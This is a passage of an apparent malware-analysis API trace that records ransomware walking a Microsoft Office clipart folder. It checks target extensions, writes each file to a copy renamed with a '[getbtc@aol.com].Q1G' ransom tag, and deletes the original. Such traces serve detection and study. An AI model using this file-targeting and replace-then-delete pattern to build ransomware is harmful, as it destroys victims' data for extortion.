lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString=".xls") returned 4 [0251.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.711] lstrlenW (lpString=".xlsx") returned 5 [0251.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.711] lstrlenW (lpString=".ppt") returned 4 [0251.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString=".zip") returned 4 [0251.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.711] lstrlenW (lpString=".rar") returned 4 [0251.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.712] lstrlenW (lpString=".bz2") returned 4 [0251.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.712] lstrlenW (lpString=".7z") returned 3 [0251.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.712] lstrlenW (lpString=".dbf") returned 4 [0251.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.712] lstrlenW (lpString=".1cd") returned 4 [0251.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.712] lstrlenW (lpString=".jpg") returned 4 [0251.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.712] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.712] lstrlenW (lpString="HH00524_.WMF") returned 12 [0251.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.713] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14688) returned 1 [0251.713] CloseHandle (hObject=0x3b0) returned 1 [0251.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0251.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.713] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.713] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.714] GetLastError () returned 0x0 [0251.714] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3960, lpOverlapped=0x0) returned 1 [0251.715] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3970, lpOverlapped=0x0) returned 1 [0251.716] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.716] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.716] SetEndOfFile (hFile=0x3ac) returned 1 [0251.717] CloseHandle (hObject=0x3ac) returned 1 [0251.717] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.717] SetEndOfFile (hFile=0x3b0) returned 1 [0251.719] CloseHandle (hObject=0x3b0) returned 1 [0251.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString=".doc") returned 4 [0251.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString=".docx") returned 5 [0251.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.720] lstrlenW (lpString=".pdf") returned 4 [0251.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString=".xls") returned 4 [0251.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.720] lstrlenW (lpString=".xlsx") returned 5 [0251.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.720] lstrlenW (lpString=".ppt") returned 4 [0251.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString=".zip") returned 4 [0251.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.720] lstrlenW (lpString=".rar") returned 4 [0251.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString=".bz2") returned 4 [0251.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString=".7z") returned 3 [0251.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString=".dbf") returned 4 [0251.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString=".1cd") returned 4 [0251.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString=".jpg") returned 4 [0251.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.721] lstrlenW (lpString=".doc") returned 4 [0251.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString=".docx") returned 5 [0251.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.721] lstrlenW (lpString=".pdf") returned 4 [0251.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString=".xls") returned 4 [0251.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.721] lstrlenW (lpString=".xlsx") returned 5 [0251.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.721] lstrlenW (lpString=".ppt") returned 4 [0251.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.721] lstrlenW (lpString=".zip") returned 4 [0251.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.721] lstrlenW (lpString=".rar") returned 4 [0251.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString=".bz2") returned 4 [0251.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString=".7z") returned 3 [0251.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.721] lstrlenW (lpString=".dbf") returned 4 [0251.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.721] lstrlenW (lpString=".1cd") returned 4 [0251.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0251.721] lstrlenW (lpString=".jpg") returned 4 [0251.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.721] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.721] lstrlenW (lpString="HH00526_.WMF") returned 12 [0251.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.722] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=13538) returned 1 [0251.722] CloseHandle (hObject=0x3b0) returned 1 [0251.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0251.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.722] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.723] GetLastError () returned 0x0 [0251.723] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x34e2, lpOverlapped=0x0) returned 1 [0251.727] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0251.728] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.728] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.728] SetEndOfFile (hFile=0x3ac) returned 1 [0251.728] CloseHandle (hObject=0x3ac) returned 1 [0251.728] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.728] SetEndOfFile (hFile=0x3b0) returned 1 [0251.731] CloseHandle (hObject=0x3b0) returned 1 [0251.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0251.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.731] lstrlenW (lpString=".doc") returned 4 [0251.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.731] lstrlenW (lpString=".docx") returned 5 [0251.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.732] lstrlenW (lpString=".pdf") returned 4 [0251.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".xls") returned 4 [0251.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.732] lstrlenW (lpString=".xlsx") returned 5 [0251.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.732] lstrlenW (lpString=".ppt") returned 4 [0251.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString=".zip") returned 4 [0251.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.732] lstrlenW (lpString=".rar") returned 4 [0251.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".bz2") returned 4 [0251.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".7z") returned 3 [0251.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString=".dbf") returned 4 [0251.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString=".1cd") returned 4 [0251.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString=".jpg") returned 4 [0251.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.732] lstrlenW (lpString=".doc") returned 4 [0251.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".docx") returned 5 [0251.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.732] lstrlenW (lpString=".pdf") returned 4 [0251.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".xls") returned 4 [0251.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.733] lstrlenW (lpString=".xlsx") returned 5 [0251.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.733] lstrlenW (lpString=".ppt") returned 4 [0251.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.733] lstrlenW (lpString=".zip") returned 4 [0251.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.733] lstrlenW (lpString=".rar") returned 4 [0251.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".bz2") returned 4 [0251.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".7z") returned 3 [0251.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.733] lstrlenW (lpString=".dbf") returned 4 [0251.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.733] lstrlenW (lpString=".1cd") returned 4 [0251.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0251.733] lstrlenW (lpString=".jpg") returned 4 [0251.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.733] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.733] lstrlenW (lpString="HH00527_.WMF") returned 12 [0251.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.734] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5798) returned 1 [0251.734] CloseHandle (hObject=0x3b0) returned 1 [0251.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0251.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.735] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.735] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.735] GetLastError () returned 0x0 [0251.735] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x16a6, lpOverlapped=0x0) returned 1 [0251.737] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0251.738] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.738] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.738] SetEndOfFile (hFile=0x3ac) returned 1 [0251.738] CloseHandle (hObject=0x3ac) returned 1 [0251.738] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.739] SetEndOfFile (hFile=0x3b0) returned 1 [0251.987] CloseHandle (hObject=0x3b0) returned 1 [0251.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0252.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".doc") returned 4 [0252.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString=".docx") returned 5 [0252.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.096] lstrlenW (lpString=".pdf") returned 4 [0252.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString=".xls") returned 4 [0252.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.096] lstrlenW (lpString=".xlsx") returned 5 [0252.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.096] lstrlenW (lpString=".ppt") returned 4 [0252.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".zip") returned 4 [0252.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.096] lstrlenW (lpString=".rar") returned 4 [0252.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString=".bz2") returned 4 [0252.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString=".7z") returned 3 [0252.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".dbf") returned 4 [0252.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".1cd") returned 4 [0252.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".jpg") returned 4 [0252.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.096] lstrlenW (lpString=".doc") returned 4 [0252.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.096] lstrlenW (lpString=".docx") returned 5 [0252.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.097] lstrlenW (lpString=".pdf") returned 4 [0252.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString=".xls") returned 4 [0252.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.097] lstrlenW (lpString=".xlsx") returned 5 [0252.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.097] lstrlenW (lpString=".ppt") returned 4 [0252.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.097] lstrlenW (lpString=".zip") returned 4 [0252.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.097] lstrlenW (lpString=".rar") returned 4 [0252.097] 